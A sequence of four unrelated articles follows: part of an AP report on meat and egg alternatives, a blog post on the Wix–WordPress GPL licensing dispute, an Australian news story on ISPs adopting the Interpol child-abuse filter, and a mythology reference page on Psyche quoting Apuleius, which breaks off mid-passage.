$15.5 million in funding, Modern Meadow in New York City takes cells from a cow through a biopsy and cultures them to grow into meat. At a conference in February, company founder Andras Forgacs likened the process to culturing yogurt or brewing beer.  “This is an extension of that,” he said.  Modern Meadow doesn’t have a product on the market yet either. The company says it doesn’t necessarily want to replicate steaks and burgers, and gave a hint of the type of foods it might make by presenting “steak chips” for attendees at a small conference last year.  Only about 200 people have tried the chips, which Forgacs describes as “crispy, crunchy beef jerky.”  Citing the demand for more openness about how food is made, he sees a day when people tour meat plants, as they do with breweries.  “There could be your friendly neighborhood meat brewery,” Forgacs said.  BANNING THE WORD ‘VEGAN’  In San Francisco, Hampton Creek’s mission is to replace the eggs in products without anyone noticing. In trying to appeal to the mainstream, co-founder and CEO Josh Tetrick has a simple rule.  “Number one, never use the word ‘vegan,'” he said.  To avoid perceptions its eggless spread Just Mayo won’t taste good, Hampton Creek even removed the V-word from the label. Tetrick says what makes the product different is that it tastes better and costs less — not that it’s made with a protein from a Canadian yellow pea instead of eggs.  “The egg-free thing is almost irrelevant,” he said.  Swapping out a single ingredient in a product may make it easier for people to swallow change. It may also make change simpler to achieve; Just Mayo’s consistency and taste are similar to mayonnaise. The product, which is available at retailers including Target and Wal-Mart, is gaining enough traction that the American Egg Board, which is responsible for slogans like the “Incredible, Edible Egg,” sees it as a “major threat,” according to emails made public through a records request.  So far, Hampton Creek has attracted $120 million in funding. It continues to screen plants for compounds that can help replace eggs in recipes and plans to eventually introduce a scrambled-egg product.  ON THE CUSP OF SOMETHING BIG?  For those looking to lessen the reliance on animals for food, there are encouraging signs all around.  Last year, Pinnacle Foods, the maker of Hungry-Man dinners, paid $154 million to acquire Gardein, which makes frozen veggie patties, nuggets and crumbles. Pinnacle CEO Robert Gamgort said he thinks meat alternatives are in the “early stages of a macro trend,” similar to the way soy and almond milk changed the dairy category.  But for now, vegetarian products remain a niche market. And even if people cut back on meat and eggs for health, environmental or animal welfare reasons, they might not want literal replacements.  Morningstar, a longtime maker of vegetarian products owned by Kellogg, says people are becoming more accepting of vegetables as main ingredients. As such, it wants to evolve from a maker of meat substitutes to a brand known for its “veggie cuisine,” such as bowls with brown rice and black beans.  Yves Potvin, Gardein’s founder, also thinks veggie alternatives don’t have to replicate meat, so long as they taste good. It’s why Gardein’s products are shaped to be reminiscent of meat, but don’t try to mimic their exact flavor and texture.  “What people like is the experience,” Potvin said. “They like the memory.”  ——  Follow Candice Choi at www.twitter.com/candicechoi .  AP-WF-12-29-15 1605GMT
-On October 28th the Automattic CEO Matt Mullenweg published a blog post accusing that Wix, a provider of competing services, has stolen code from the WordPress codebase. To be specific, it was about the use of a rich text editing component in the Wix mobile app:  If I were being charitable, I’d say, “The app’s editor is based on the WordPress mobile app’s editor.” If I were being honest, I’d say that Wix copied WordPress without attribution, credit, or following the license. The custom icons, the class names, even the bugs. You can see the forked repositories on GitHub complete with original commits from Alex and Maxime, two developers on Automattic’s mobile team.  – The Wix Mobile App, a WordPress Joint  There were some claims that Wix had not respected the GPL licensing in place for the component. They may or may not be valid, but what Matt is claiming about it being a copy is just what is going on with Open Source. It is supposed to be the exact same code, warts and all…  But with Matt Mullenweg being no stranger to petty litigation, it seemed like FUD driven by jealousy over use of Automattic code in a competing product. Wix CEO Avishai Abrahami soon replied, making it clear that it is the exactly the same code that is being used. And that component is available as open source on GitHub:  Yes, we did use the WordPress open source library for a minor part of the application (that is the concept of open source right?), and everything we improved there or modified, we submitted back as open source, see here in this link – you should check it out, pretty cool way of using it on mobile native.  – Dear Matt Mullenweg: an open letter from Wix.com’s CEO Avishai Abrahami  What Avishai fails to address are some of the accusations Matt Mullenweg makes against Wix and that the whole mobile application should be made available by complying to the terms of the GPL license. This is interesting, but the saga continues.  Update: It has now been confirmed that Wix will release the full source code to their mobile application:  Wix to release full mobile app source code, including the GPL disputed WordPress Rich Text Editor  Automattic themselves fail to comply MIT licensing  From a more technical post by the lead developer of the mobile app at Wix, it seems that the component that Mullenweg and Wix are quarrelling over is itself a wrapper for another Open Source project, ZSSRichTextEditor, licensed under the MIT license:  The WordPress GPL Rich Text component in question, is actually a wrapper around another Rich Text component named ZSSRichTextEditor which is licensed MIT. In retrospect it would have been easier to use it directly.  – How I Found Myself Accused of Stealing Code from WordPress  Now it is no longer clear whether the WordPress editor component itself has a valid license, at least when it comes to the iOS version of the Rich Text Editor. This is because on March 20th 2015, the Automattic team proceeded with removing the MIT license from ZZRichTextEditor and replacing it with a GPL one:  This is a violation of the MIT license terms from Automattic. So as it stands it seems quite unclear who actually has the right to do what as the MIT license requirement is no longer respected by the Automattic editor component:  The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.  – ZZRichTextEditor MIT license  Maybe in the future it would be good not to shoot first and ask questions later. But I guess this is how they do it in Texas.  The only person who has not gotten credit for work is the original creator of the ZZRichTextEditor, Nic Hubbard. If this case moves beyond throwing words on the web, only one thing is for sure: Lawyers will be making a killing off it.  So for sure Open Source licensing continues to be a tricky subject, with keeping in mind that the underlying React library from Facebook has some unclear licensing itself.  UPDATE: Wix has now abandoned their work on the WordPress editor and are focusing on a direct fork of the ZZRichTextEditor: Wix abandons WordPress GPL editor fork in favour of original MIT library  Advertisements
-news National broadband provider iiNet and its subsidiary Internode have pledged to implement the limited child abuse Internet filtering scheme adopted as policy last week by the Federal Government, noting they had received independent legal advice advising them to comply with a new “compulsory” request by police to do so.  Last week, Communications Minister Stephen Conroy announced the Federal Government would abandon its highly unpopular and controversial mandatory Internet filtering policy in favour of a more limited scheme that will see Australian ISPs forced to block a much smaller list of child abuse sites supplied by international policing agency Interpol. The legal mechanism for the scheme to proceed is Section 313 of the Telecommunications Act, which allows the Australian Federal Police to request assistance from local telcos. Telstra and Optus implemented the scheme in mid-2011; Conroy said last week that it will now be extended to other ISPs.  In mid-2011, a number of ISPs, such as Telstra, Optus, iiNet and Internode, received such requests from the Australian Federal Police to implement such a filtering scheme for the Interpol list. At the time, Telstra and Optus complied with the request and have had their filters working for more than a year with no known public complaints, while a number of other ISPs, such as iiNet and Internode, declined to do so, citing uncertainty about the legality of the request.  However, posting on broadband forum Whirlpool this week, iiNet group chief regulatory officer Steve Dalby noted that the Section 313 notices received in mid-2011 by the ISPs had made it clear the scheme was “voluntary”. New notices issued to ISPs recently, however, he said, had the word “voluntary” removed from their text.  “… the AFP advised us that compliance was voluntary. As a result we declined to participate,” Dalby wrote. “Now it is clearly no longer voluntary and we are obliged to comply, which we will. As you will no doubt have read from the press release, all ISPs will be served notices by the AFP. I’m sure most will take legal advice on the effectiveness of the notifications and act according to that legal advice.”  Dalby noted iiNet had sought legal advice on the Section 313 notice, and added: ” … we are satisfied that both the advice and our obligations are clear.” However, he declined to release that legal advice to iiNet’s customers and the public, or to release the text of the Section 313 notice issued by the Australian Federal Police to iiNet.  “There’s no need for a press release,” he told Whirlpool users. “We see the matter as ‘business as usual’ – we comply with legitimate request or directions from law enforcement agency all the time. This is no different, now that the element of volunteering has been removed.”  “It’s not complicated,” he added. “The Act hasn’t changed, the section 313 notice has. Previously, it seems, some ISPs were prepared to act on the ‘voluntary’ s313. We declined. Now that it is no longer voluntary, we are complying … The word ‘voluntary’ was deleted from the MS Word document. Why is this such a hard concept to grasp?”  However, not everyone believes that the Section 313 notices which are being used by the Australian Federal Police to implement the limited Interpol filtering scheme are in fact legal.  For example, this week Australian free market thinktank the Institute of Public Affairs accused the Federal Government of relying on an “obscure” section of telecommunications law in a way that was never intended to implement its new limited Internet filtering scheme, and warned of the potential for scope creep under the scheme.  “The Gillard government is handing over control for the list of banned websites to the international police agency, Interpol, and is using an existing law in a way that was never intended,” said Simon Breheny, director of the IPA’s Legal Rights Project.  “The use of an obscure provision of the legislation raises serious legal issues – it is highly doubtful whether the law can be used to compel ISPs to block websites at the Minister’s behest. If the Minister always had the power to impose an internet filter without the need for new legislation section 313 would have been used from the beginning,” Breheny added.  Last week, most digital rights, political and telecommunications organisations in Australia – including Electronic Frontiers Australia, the Pirate Party of Australia, the Internet Society of Australia (ISOC-AU), the Greens, the Opposition, the Internet Industry Association and others welcomed the Government’s backdown on the mandatory Internet filter and the implementation of the new scheme. However, some, such as ISOC-AU, noted that they still had concerns with the details of the new setup.  Delimiter has encouraged the Minister to hold an open press conference on the issue to take questions from the media, as well as to issue a discussion paper on the issue which would allow the public to comment on the scheme formally. In addition, we have invited the Minister to respond to the following questions in writing:  Given the wide-ranging nature of the Interpol filter — affecting most Australian Internet users — why was no public consultation held before the Government decided to take take this step? I note that the Government has never held a formal public consultation into Internet filtering in general.  How would the Government respond to the claim that there will be no civilian oversight of this Interpol filtering scheme, with key information about it only being released over the past several years through Freedom of Information requests filed with the Australian Federal Police?  ISPs such as iiNet, Internode, TPG and Exetel have declined to participate in this scheme so far over the past 12 months, with some citing uncertainty of the legal situation. How would the Government address the claim that the legal ground of this Interpol filtering scheme, notably the process whereby the AFP issues notices to ISPs, is not clear?  Which further ISPs will the AFP issue notices to? Has the Government already received support from those ISPs for the scheme? How will the Government react if an ISP declines the notice?  How would the Government respond to the claim that there is the potential for the AFP to issue notices beyond the Interpol list to ISPs, in an approach which could be dubbed ‘scope creep’?  Neither Telstra nor Optus explicitly notified customers that they had implemented the Interpol filter when they did so last year. What guidelines will the Government be placing around ISPs’ participation in this scheme?  Image credit: iiNet
-PSYKHE  Greek Name Ψυχη Transliteration Psykhê Latin Spelling Psyche Translation Soul (psykhê)  Psyche and Cupid-Eros, Greco-Roman mosaic from Samandağı C3rd A.D., Hatay Archeology Museum  PSYKHE (Psyche) was the goddess of the soul and the wife of Eros (Roman Cupid) god of love.  She was once a mortal princess whose extraordinary beauty earned the ire of Aphrodite (Roman Venus) when men began turning their worship away from the goddess towards the girl. Aphrodite commanded Eros make Psykhe fall in love with the most hideous of men but the god instead fell in love and carried her off to his hidden palace. Eros hid his true identity and told Psykhe she must never gaze upon his face. Her jealous sisters, however, tricked her into disobeying and the angry god forsook her. Psykhe searched the world for her lost love and eventually came into the service of Aphrodite. The goddess commanded her perform a series of seemingly impossible tasks which culminated in a journey to the Underworld. Psykhe was afterwards reunited with Eros and the couple were married in a ceremony attended by all the gods.  Psykhe was depicted in ancient mosaic art as a butterfly-winged woman in the company of her husband Eros. Sometimes a pair of Pyskhai (Psychae) were depicted--the second perhaps representing their daughter Hedone (Pleasure).  FAMILY OF PSYCHE  PARENTS  Mortal parents (Apuleius 4.28)  OFFSPRING  HEDONE (by Eros) (Apuleius 6.24)  ENCYCLOPEDIA  PSYCHE (Psuchê), that is, "breath" or "the soul," occurs in the later times of antiquity, as a personification of the human soul, and Apuleius (Met. iv. 28, &c.) relates about her the following beautiful allegoric story. Psyche was the youngest of the three daughters of some king, and excited by her beauty the jealousy and envy of Venus. In order to avenge herself, the goddess ordered Amor to inspire Psyche with a love for the most contemptible of all men : but Amor was so stricken with her beauty that he himself fell in love with her. He accordingly conveyed her to some charming place, where he, unseen and unknown, visited her every night, and left her as soon as the day began to dawn. Psyche might have continued to have enjoyed without interruption this state of happiness, if she had attended to the advice of her beloved, never to give way to her curiosity, or to inquire who he was. But her jealous sisters made her believe that in the darkness of night she was embracing some hideous monster, and accordingly once, while Amor was asleep, she approached him with a lamp, and, to her amazement, she beheld the most handsome and lovely of the gods. In her excitement of joy and fear, a drop of hot oil fell from her lamp upon his shoulder. This awoke Amor, who censured her for her mistrust, and escaped. Psyche's peace was now gone all at once, and after having attempted in vain to throw herself into a river, she wandered about from temple to temple, inquiring after her beloved, and at length came to the palace of Venus. There her real sufferings began, for Venus retained her, treated her as a slave, and inmposed upon her the hardest and most humiliating labours. Psyche would have perished under the weight of her sufferings, had not Amor, who still loved her in secret, invisibly comforted and assisted her in her labours. With his aid she at last succeeded in overcoming the jealousy and hatred of Venus; she became immortal, and was united with him for ever. It is not difficult to recognise in this lovely story the idea of which it is merely the mythical embodiment, for Psyche is evidently the human soul, which is purified by passions and misfortunes, and is thus prepared for the enjoyment of true and pure happiness. In works of art Psyche is represented as a maiden with the wings of a butterfly, along with Amor in the different situations described in the allegoric story.  Source: Dictionary of Greek and Roman Biography and Mythology.  CLASSICAL LITERATURE QUOTES  Psyche (detail), Greco-Roman mosaic from Samandağı C3rd A.D., Hatay Archeology Museum  Apuleius, The Golden Ass 4. 28 - 6. 24 (Roman novel C2nd A.D.) :  "In a certain city there lived a king and with three notably beautiful daughters. The two elder ones were very attractive, yet praise appropriate to humans was thought sufficient for their fame. But the beauty of the youngest girl [Psyche (Psykhe)] was so special and distinguished that our poverty of human language could not describe or even adequately praise it. In consequence, many of her fellow-citizens and hordes of foreigners, on hearing the report of this matchless prodigy, gathered in ecstatic crowds. They were dumbstruck with admiration at her peerless beauty. They would press their hands to their lips with the forefinger resting on the upright thumb, and revere her with devoted worship as if she were none other than Venus [Aphrodite] herself. Rumour had already spread through the nearest cities and bordering territories that the goddess who was sprung from the dark-blue depths of the sea and was nurtured by the foam from the frothing waves was now bestowing the favour of her divinity among random gatherings of common folk; or at any rate, that the earth rather than the sea was newly impregnated by heavenly seed, and had sprouted forth a second Venus [Aphrodite] invested with the bloom of virginity.  This belief grew every day beyond measure. The story now became widespread; it swept through the neighbouring islands, through tracts of the mainland and numerous provinces. Many made long overland journeys and travelled over the deepest courses of the sea as they flocked to set eyes on this famed cynosure of their age. No one took ship for Paphos, Cnidos, or even Cythera to catch sight of the goddess Venus. Sacrifices in those places were postponed, shrines grew unsightly, couches become threadbare, rites went unperformed; the statues were not garlanded, and the altars were bare and grimy with cold ashes. It was the girl who was entreated in prayer. People gazed on that girl's human countenance when appeasing the divine will of the mighty goddess. When the maiden emerged in the mornings, they sought from her the favour of the absent Venus with sacrificial victims and sacred feasts. The people crowded round her with wreaths and flowers to address their prayers, as she made her way through the streets. Since divine honours were being diverted in this excessive way to the worship of a mortal girl, the anger of the true Venus [Aphrodite] was fiercely kindled. She could not control her irritation. She tossed her head, let out a deep growl, and spoke in soliloquy : ‘Here am I, the ancient mother of the universe, the founding creator of the elements, the Venus that tends the entire world, compelled to share the glory of my majesty with a mortal maiden, so that my name which has its niche in heaven is degraded by the foulness of the earth below! Am I then to share with another the supplications to my divine power, am I to endure vague adoration by proxy, allowing a mortal girl to strut around posing as my double? What a waste of effort it was for the shepherd [Paris] whose justice and honesty won the approval of great Jupiter [Zeus] to reckon my matchless beauty superior to that of those great goddesses! But this girl, whoever she is, is not going to enjoy appropriating the honours that are mine; I shall soon ensure that she rues the beauty which is not hers by rights!’  She at once summoned her son [Cupid-Eros], that winged, most indiscreet youth, whose own bad habits show his disregard for public morality. He goes rampaging through people's houses at night armed with his torch and arrows, undermining the marriages of all. He gets away scot-free with this disgraceful behaviour, and nothing that he does is worthwhile. His own nature made him excessively wanton, but he was further roused by his mother's words. She took him along to that city, and showed him Psyche in the flesh (that was the girl's name). She told him the whole story of their rivalry in beauty, and grumbling and growling with displeasure added : ‘I beg you by the bond of a mother's affection, by the sweet wounds which your darts inflict and the honeyed blisters left by this torch of yours: ensure that your mother gets her full revenge, and punish harshly this girl's arrogant beauty. Be willing to perform this single service which will compensate for all that has gone before. See that the girl is seized with consuming passion for the lowest possible specimen of humanity, for one who as the victim of Fortuna (Fortune) [Tykhe] has lost status, inheritance and security, a man so disreputable that nowhere in the world can he find an equal in wretchedness.’  With these words she kissed her son long and hungrily with parted lips. Then she made for the nearest shore lapped by the waves . . .  Meanwhile, Psyche for all her striking beauty gained no reward for her ravishing looks. She was the object of all eyes, and her praise was on everyone's lips, but no king or prince or even commoner courted her to seek her hand. All admired her godlike appearance, but the admiration was such as is accorded to an exquisitely carved statue. For some time now her two elder sisters had been betrothed to royal suitors and had contracted splendid marriages, though their more modest beauty had won no widespread acclaim. But Psyche remained at home unattended, lamenting her isolated loneliness. Sick in body and wounded at heart, she loathed her beauty which the whole world admired. For this reason the father of that ill-starred girl was a picture of misery, for he suspected that the gods were hostile, and he feared their anger. He sought the advice of the most ancient oracle of the Milesian god [Apollon], and with prayers and sacrificial victims begged from that mighty deity a marriage and a husband for that slighted maiden. Apollo, an Ionian Greek, framed his response in Latin to accommodate the author of this Milesian tale : ‘Adorn this girl, O king, for wedlock dread, and set her on a lofty mountain-rock. Renounce all hope that one of mortal stock can be your son-in-law, for she shall wed a fierce, barbaric, snake-like monster. He, flitting on wings aloft, makes all things smart, plaguing each moving thing with torch and dart. Why, Jupiter [Zeus] himself must fearful be. The other gods for him their terror show, and rivers shudder, and the dark realms below.’  The king had formerly enjoyed a happy life, but on hearing this venerable prophecy he returned him reluctant and mournful. He unfolded to his wife the injunctions of that ominous oracle, and grief, tears and lamentation prevailed for several days. But now the grim fulfilment of the dread oracle loomed over them. Now they laid out the trapping for the marriage of that ill-starred girl with death; now the flames of the nuptial torch flickered dimly beneath the sooty ashes, the high note of the wedding-lute sank into the plaintive Lydian mode, and the joyous marriage-hymn tailed away into mournful wailing. That bride-to-be dried her tears on her very bridal-veil. Lamentation for the harsh fate of that anguished household spread throughout the city, and a cessation of business was announced which reflected the public grief.  But the warnings of heaven were to be obeyed, and unhappy Psyche's presence was demanded for her appointed punishment. So amidst intense grief the ritual of that marriage with death was solemnized, and the entire populace escorted her living corpse as Psyche tearfully attended not her marriage but her funeral. But when her sad parents, prostrated by their monstrous misfortune, drew back from the performance of their monstrous task, their daughter herself admonished them with these words : ‘Why do you rack you sad old age with protracted weeping? Or why do you weary your life's breath, which is dearer to me than to yourselves, with repeated lamentations? Why do you disfigure those features, which I adore, with ineffectual tears? Why do you grieve my eyes by torturing your own? Why do you tear at your grey locks? Why do you beat those breasts so sacred to me? What fine rewards my peerless beauty will bring you! All too late you experience the mortal wounds inflicted by impious envy. That grief, those tears, that lamentations for me as one already lost should have been awakened when nations and communities brought me fame with divine honours, when with one voice they greeted me as the new Venus [Aphrodite]. Only now do I realize and see that my one undoing has been the title of Venus bestowed on me. Escort me and set me on the rock to which fate has consigned me. I hasten to behold this noble husband of mine. Why should I postpone or shrink from the arrival of the person born for the destruction of the whole world?’  After this utterance the maiden fell silent, and with resolute step she now attached herself to the escorting procession of citizens. They made their way to the appointed rock set on a lofty mountain, and when they had installed the girl on its peak, they all abandoned her there. They left behind the marriage-torches which had lighted their way but were now doused with their tears, and with bent heads made their way homeward. The girl's unhappy parents, worn out by this signal calamity, enclosed themselves in the gloom of their shuttered house, and surrendered themselves to a life of perpetual darkness.  But as Psyche wept in fear and trembling on that rocky eminence, Zephyrus' (the West Wind's) kindly breeze with its soft stirring wafted the hem of her dress this way and that, and made its folds billow out. He gradually drew her aloft, and with tranquil breath bore her slowly downward. She glided down in the bosom of the flower-decked turf in the valley below. In that soft and grassy arbour Psyche reclined gratefully on the couch of the dew-laden turf. The great upheaval oppressing her mind had subsided, and she enjoyed pleasant repose. After sleeping long enough to feel refreshed, she got up with carefree heart. Before her eyes was a grove planed with towering, spreading trees, and a rill glistening with glassy waters. At the centre of the grove and close to the gliding stream was a royal palace, the work not of human hands but of divine craftsmanship. You would know as soon as you entered that you were viewing the birth and attractive retreat of some god. The high ceiling, artistically panelled with citron-wood and ivory, was supported on golden columns. The entire walls were worked in silver in relief; beasts and wild cattle met the gaze of those who entered there. The one who shaped all this silver into animal-forms was certainly a genius, or rather he must have been a demigod or even a god. The floors too extended with different pictures formed by mosaics of precious stones; twice blessed indeed, and more than twice blessed are those whose feet walk on gems and jewels! The other areas of the dwelling too, in all its length and breadth, were incalculably costly. All the walls shimmered with their native gleam of solid gold, so that if the sun refused to shine, the house created its own daylight. The rooms, the colonnade, the very doors also shone brilliantly. The other riches likewise reflected the splendour of the mansion. You would be justified in thinking that this was a heavenly palace fashioned for mighty Jupiter [Zeus] when he was engaged in dealings with men.  Psyche, enticed by the charming appearance of these surroundings, drew nearer, and as her assurance grew she crossed the threshold. Delight at the surpassing beauty of the scene encouraged her to examine every detail. Her eyes lit upon store-rooms built high on the other side of the house; they were crammed with abundance of treasures. Nothing imaginable was missing, and what was especially startling, apart from the breath-taking abundance of such riches, was the fact that this treasure-house had no protection whatever by way of chain or bar or guard.  As she gazed on all this with the greatest rapture, a disembodied voice addressed her : ‘Why, may lady, do you gaze open-mouthed at this parade of wealth? All these things are yours. So retire to your room, relieve your weariness on your bed, and take a bath at your leisure. The voices you hear are those of your handmaidens, and we will diligently attend to your needs. Once you have completed your toilet a royal feast will at once be laid before you.’  Psyche felt a blessed assurance being bestowed upon herby heaven's provision. She heeded the suggestions of the disembodied voice, and after taking a nap and then a bath to dispel her fatigue, she at once noted a semicircular couch and table close at hand. The dishes laid for dinner gave her to understand that all was set for her refreshment, so she gladly reclined there. Immediately wine was delicious as nectar and various plates of food were placed before her, brought not by human hands but unsupported on a gust of wind. She could see no living soul, and merely heard words emerging from thin air: her serving-maids were merely voices. When she had enjoyed the rich feast, a singer entered and performed unseen, while another musician strummed a lyre which was likewise invisible. Then the harmonious voices of a tuneful choir struck her ears, so that it was clear that a choral group was in attendance, though no person could be seen.  The pleasant entertainment came to an end, and the advent of darkness induced Psyche to retire to bed. When the night was well advanced, a genial sound met her ears. Since the was utterly alone, she trembled and shuddered in her fear for her virginity, and she dreaded the unknown presence more than any other menace. But now her unknown bridegroom arrived and climbed into the bed. He made Psyche his wife, and swiftly departed before dawn broke. At once the voices in attendance at her bed-chamber tended the new bride's violated virginity. These visits continued over a long period and this new life in the course of nature became delightful to Psyche as she grew accustomed to it. Hearing that unidentified voice consoled her loneliness.  Meanwhile her parents were aging in unceasing grief and melancholy. As the news spread wider, her elder sisters learnt the whole story. In their sadness and grief they vied with each other in hastily leaving home and making straight for their parents, to see them and discuss the matter with them.  That night Psyche's husband (he was invisible to her, but she could touch and hear him) said to her : ‘Sweetest Psyche, fond wife that you are, Fortuna (Fortune) [Tykhe] grows more savage, and threatens you with mortal danger. I charge you: show greater circumspection. Your sisters are worried at the rumour that you are dead, and presently they will come to this rock to search for traces of you. Should you chance to hear their cries of grief, you are not to respond, or even to set eyes on them. Otherwise you will cause me the most painful affliction, and bring utter destruction on yourself.’  Psyche consented and promised to follow her husband's guidance. But when he had vanished in company with the darkness, the poor girl spent the whole day crying and beating her breast. She kept repeating that now all was up with her, for here she was confined and enclosed in that blessed prison, bereft of conversation with human beings for company, unable even to offer consoling relief to her sisters as they grieved for her, and not allowed even to catch a glimpse of them. No ablutions, food, or other relaxation made her feel better, and she retired to sleep in floods of tears.  At that moment her husband came to bed somewhat earlier than usual. She was still weeping, and as he embraced her, he remonstrated with her : ‘Is this how the promise you made me has turned out, Psyche, my dear? What is your husband to expect or to hope from you? You never stop torturing your self night and day, even when we embrace each other as husband and wife. Very well, have it your own way, follow your own hell-bound inclination. But when you begin to repent at leisure, remember the sober warning which I gave you.’  Then Psyche with prayers and threats of her impending death forced her husband to yield to her longing to see her sisters, to relieve their grief, and he also allowed her to present them with whatever pieces of gold or jewellery she chose. But he kept deterring her with repeated warnings from being ever induced by the baleful prompting of her sisters to discover her husband's appearance. She must not through sacrilegious curiosity tumble headlong from the lofty height of her happy fortune, and forfeit thereafter his embrace.  She thanked her husband, and with spirits soaring she said : ‘But I would rather die a hundred times than forgo the supreme joy of my marriage with you. For I love and cherish you passionately, whoever you are, as much as my own life, and I value you higher than Cupidos [Eros] himself. But one further concession I beg for my prayers: bid your servant Zephyrus (the West Wind) spirit my sisters down to me, as he earlier wafted me down.’  She pressed seductive kisses on him, whispered honeyed words, and snuggled close to soften him. She added endearments to her charms : ‘O my honey-sweet, darling husband, light of your Psyche's life!’  Her husband unwillingly gave way before the forceful pressure of these impassioned whispers, and promised to do all she asked. Then, as dawn drew near, he vanished from his wife's embrace.  Psyche's sisters enquired about the location of the rock on which she had been abandoned, and they quickly made their way to it. There they cried their eyes out and beat their breasts until the rocks and crags echoed equally loudly with their repeating lamentations. Then they sought to conjure up their sister by summoning her by name, until the piercing notes of their wailing voices permeated down the mountainside, and Psyche rushed frantically and fearfully from the house. ‘Why,’ she asked, ‘do you torture yourselves to no purpose with your unhappy cries of grief? Here I am, the object of your mourning. So cease your doleful cries, and now at last dry those cheeks which are wet with prolonged tears, for you can now hug close the sister for whom you grieved.’  She then summoned Zephyrus, and reminded him of her husband's instruction. He speedily obeyed the command, and at once whisked them down safely on the gentlest of breezes. The sisters embraced each other, and delightedly exchanged eager kisses. The tears which had been dried welled forth again, prompted by their joy. ‘Now that you are in good spirits,’ said Psyche, ‘you must enter my hearth and home, and let the company of your Psyche gladden your hearts that were troubled.’  Following these words, she showed them the magnificent riches of the golden house, and let them hear the voices of her large retinue. She then allowed them the rich pleasure of a luxurious bath and an elegant meal served by her ghostly maids. But when they had had their fill of the copious abundance of riches clearly bestowed by heaven, they began to harbour deep-seated envy in their hearts. So one of them kept asking with nagging curiosity about the owner of those divine possessions, about the identity and status of her husband. Psyche in her heart's depths did not in any way disobey or disregard her husband's instructions. She invented an impromptu story that he was a handsome young man whose cheeks were just darkening with a soft beard, and who spent most of his day hunting in the hills of the countryside. But she was anxious not to betray through a slip of the tongue her silent resolve by continuing the conversation, so she weighed her sisters down with gold artefacts and precious jewels, hastily summoned Zephyrus, and entrusted them to him for the return journey.  This was carried out at once, and those splendid sisters then made their way home. They were now gnawed with the bile of growing envy, and repeatedly exchanged loud-voiced complaints. One of them began : ‘Fortuna (Fortune), how blind and harsh and unjust you are! Was it your pleasure that we, daughters of the same parents, should endure so different a fate? Here we are, her elder sisters, nothing better than maidservants to foreign husbands, banished form home and even from our native land, living like exiles far from our parents, while Psyche, the youngest and last offspring of our mother's weary womb, has obtained all this wealth, and a god for a husband! She has not even a notion of how to enjoy such abundant blessings. Did you notice, sister, the quantity and quality of the precious stones lying in the house, the gleaming garments, the sparkling jewels, the gold lying beneath our feet and all over the house? If she has as handsome a husband as she claims, no woman living in the whole world is more blessed. Perhaps as their intimacy continues and their love grows stronger, her god-husband will make her divine as well. That's how things are, mark my words; she was putting on such airs and graces! She's now so high and mighty, behaving like a goddess, with those voices serving her needs, and Winds obeying her commands! Whereas my life's a hell; to begin with, I have a husband older than my father. He's balder than an onion as well, and he hasn't the virility of an infant. And he keeps our house barricaded with bards and chains.’  The other took up the grumbling. ‘I have to put up with a husband crippled and bent with rheumatism, so that he can succumb to my charms only once in a blue moon. I spent almost all my day rubbing his fingers, which are twisted and hard as flint, and burning these soft hands of mine on reeking poultices, filthy bandages, and smelly plasters. I'm a slaving nursing attendant, not a dutiful wife. You must decide for yourself, sister, how patiently or--let me express myself frankly--how menially you intent to bear the situation; I can't brook any longer the thought of this undeserving girl falling on her feet like this. Just recall how disdainfully and haughtily she treated us, how swollen-headed she'd become with her boasting and her immodest vulgar display, how she reluctantly threw at us a few trinkets from that mass of riches, and then at once ordered us to be thrown out, whisked away, sent off with the Wind because she found our presence tedious! As sure as I'm a woman, as sure as I'm standing here, I'm going to propel her headlong off that heap of riches! If the insulting way she's treated us has needled you as well, as it certainly should have, we must work out an effective plan together. We must not show the gifts in our possession to our parents or anyone else. We must not even betray the slightest awareness that she's alive. It's bad enough that we've witnessed the sorry situation ourselves, without our having to spread the glad news to our parents and the whole world at large. People aren't really fortunate if no one knows of their riches. She'll realize that she's got elder sisters, not maid-servants. So let us now go back to our husbands and homes, which may be poor but are honest. Then, when we have given the matter deeper thought, we must go back more determined to punish her arrogance.’  The two wicked sisters approved this wicked plan. So they hid away all those most valuable gifts. They tore their hair, gave their cheeks the scratching they deserved, and feigned renewed grief. Their hastily summoned tears depressed their parents, reawakening their sorrow to match that of their daughters, and then swollen with lunatic rage they rushed of to their homes, planning their wicked wiles--or rather the assassination of their innocent sister.  Meanwhile Psyche's unknown husband in their nightly conversation again counselled her with these words : ‘Are you aware what immense danger overhangs you? Fortuna is aiming her darts at you from long range and, unless you take the most stringent precautions, she will soon engage with you hand to hand. Those traitorous bitches are straining every nerve to lay wicked traps for you. Above al, they are seeking to persuade you to pry into my appearance, and as I have often warned you, a single glimpse of it will be your last. So if those depraved witches turn up later, ready with their destructive designs, and I am sure they will, you must not exchange a single word with them, or at any rate if your native innocence and soft-heartedness cannot bear that, you are not to listen to or utter a single word about your husband. Soon we shall be starting a family, for this as yet tiny womb of yours is carrying for us another child like yourself. If you conceal our secret in silence, that child will be a god; but if you disclose it, he will be mortal.’  Psyche was aglow with delight at the news. She gloried in the comforting prospect of a divine child, she exulted in the fame that such a dear one would bring her, she rejoiced at the thought of the respected status of mother. She eagerly counted the mounting days and departing months, and as a novice bearing an unknown burden, she marvelled that the pinprick of a moment could cause such a lovely swelling in her fecund womb.  But now those baneful, most abhorrent Furiae (Furies) [Erinyes] were hastening on their impious way aborad ship, exhaling their snakelike poison. It was then that Psyche's husband on his brief visit again warned her : ‘This is the day of crisis, the moment of worst hazard. Those troublesome members of your sex, those hostile blood-relations of yours have now seized their arms, struck camp, drawn their battle-line, and sounded the trumpet-note. Your impious sisters have drawn their swords, and are aiming at your jugular. The calamities that oppress us are indeed direful, dearest Psyche. Take pity on yourself and on me; show dutiful self-control to deliver your house and your husband, your person and this tiny child of ours from the unhappy disaster that looms over us. Do not set eyes on, or open your ears to, these female criminals, whom you cannot call your sisters because of their deadly hatred, and because of the way in which they have trodden underfoot their own flesh and blood, when like Sireni they lean out over the crag, and make the rocks resound with the death-dealing cries!’  Psyche's response was muffled with tearful sobs. ‘Some time ago, I think, you had proof of my trustworthiness and discretion, and on this occasion too my resolution will likewise win your approval. Only tell our Zephyrus to provide his services again, and allow me at least a glimpse of my sisters as consolation for your unwillingness to let me gaze on your sacred face. I beg you by these locks of yours which with their scent of cinnamon dangle all round your head, by your cheeks as soft and smooth as my own, by your breast which diffuses its hidden heat, as I hope to observe your features as reflected at least in this our tiny child: accede to the devoted prayers of this careworn suppliant, and grant me the blessing of my sisters' embraces. Then you will give fresh life and joy to your Psyche, your own devoted and dedicated dear one. I no longer seek to see your face; the very darkness of the night is not oppressive to me, for you are my 